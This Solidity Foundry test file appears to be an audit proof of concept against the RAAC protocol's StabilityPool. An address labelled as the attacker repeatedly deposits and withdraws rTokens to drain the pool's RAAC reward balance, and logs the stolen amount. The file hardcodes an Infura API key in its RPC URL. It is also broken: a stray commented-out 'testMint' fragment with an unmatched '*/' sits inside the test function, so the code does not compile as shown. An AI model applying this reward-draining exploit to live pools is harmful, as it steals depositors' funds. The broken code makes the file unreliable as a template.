pragma solidity ^0.8.19;
import {Test, console} from "lib/forge-std/src/Test.sol";
import "contracts/core/pools/LendingPool/LendingPool.sol";
import "contracts/core/tokens/RToken.sol";
import "contracts/core/tokens/DebtToken.sol";
import "contracts/core/tokens/RAACNFT.sol";
import "contracts/core/tokens/RAACToken.sol";
import "contracts/core/minters/RAACMinter/RAACMinter.sol";
import "contracts/core/pools/StabilityPool/StabilityPool.sol";
import "contracts/core/tokens/DEToken.sol";
interface ITokenERC20{
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract ArsenTest is Test{
RToken public rToken;
DebtToken public dToken;
RAACNFT public raacNFT;
RAACToken public raacToken;
DEToken public deToken;
RAACMinter public raacMinter;
HousePrices public housePrices;
PriceOracle public priceOracle;
LendingPool public lendingPool;
StabilityPool public stabilityPool;
address public attacker = address(8888);
address public user_1 = address(1111);
address public user_2 = address(2222);
address CRV_USD = address(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
string ETH_RPC_URL = "https://mainnet.infura.io/v3/2cef90f9f3f44a1fb5201d8547183d42";
function setUp() public{
uint256 ethFork = vm.createFork(ETH_RPC_URL);
vm.selectFork(ethFork);
housePrices = new HousePrices();
priceOracle = new PriceOracle();
rToken = new RToken(
"rToken",
"RTOKEN",
address(this),
CRV_USD
);
dToken = new DebtToken(
"Debt Token",
"DBTTOKEN",
address(this)
);
raacNFT = new RAACNFT(
CRV_USD,
address(housePrices),
address(this)
);
raacToken = new RAACToken(
address(this),
500,
500
);
deToken = new DEToken(
"DeToken",
"deToken",
address(this),
address(rToken)
);
lendingPool = new LendingPool(
CRV_USD,
address(rToken),
address(dToken),
address(raacNFT),
address(priceOracle),
100000000000000000000000000
);
stabilityPool = new StabilityPool(address(this));
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
address(this)
);
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
CRV_USD,
address(lendingPool)
);
rToken.setReservePool(address(lendingPool));
dToken.setReservePool(address(lendingPool));
}
function test_deposit() public{
deToken.setStabilityPool(address(stabilityPool));
raacToken.setMinter(address(this));
raacToken.mint(address(stabilityPool), 1000e18);
function testMint(address userToMint) public{
_mint(userToMint, 100e18);
}
*/
rToken.testMint(user_1);
vm.startPrank(user_1);
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
vm.stopPrank();
for(uint i = 1; i < 10; i++){
address user = vm.addr(i);
rToken.testMint(user);
vm.startPrank(user);
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
assertEq(deToken.balanceOf(user), 100e18);
vm.stopPrank();
}
assertEq(deToken.totalSupply(), 1000e18);
assertEq(rToken.balanceOf(address(stabilityPool)), 1000e18);
assertEq(raacToken.balanceOf(address(stabilityPool)), 1000e18);
console.log("RaacToken reward balance of the pool is", raacToken.balanceOf(address(stabilityPool)));
vm.prank(user_1);
stabilityPool.withdraw(100e18);
console.log("RaacToken reward balance of the pool after the first withdraw is", raacToken.balanceOf(address(stabilityPool)));
for(uint i = 0; i < 30; i++){
vm.startPrank(user_1);
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
stabilityPool.withdraw(100e18);
vm.stopPrank();
}
console.log("RaacToken reward balance of the pool after the attack is", raacToken.balanceOf(address(stabilityPool)));
console.log("Final RaacToken reward amount of the attacker is", raacToken.balanceOf(address(user_1)));
}
}
contract HousePrices{
function tokenToHousePrice(uint256 _tokenId) external view returns (uint256){
return 10_000e18;
}
}
contract PriceOracle{
function getLatestPrice(uint256 _tokenId) external view returns (uint256, uint256){
return(10_000e18, block.timestamp);
}
}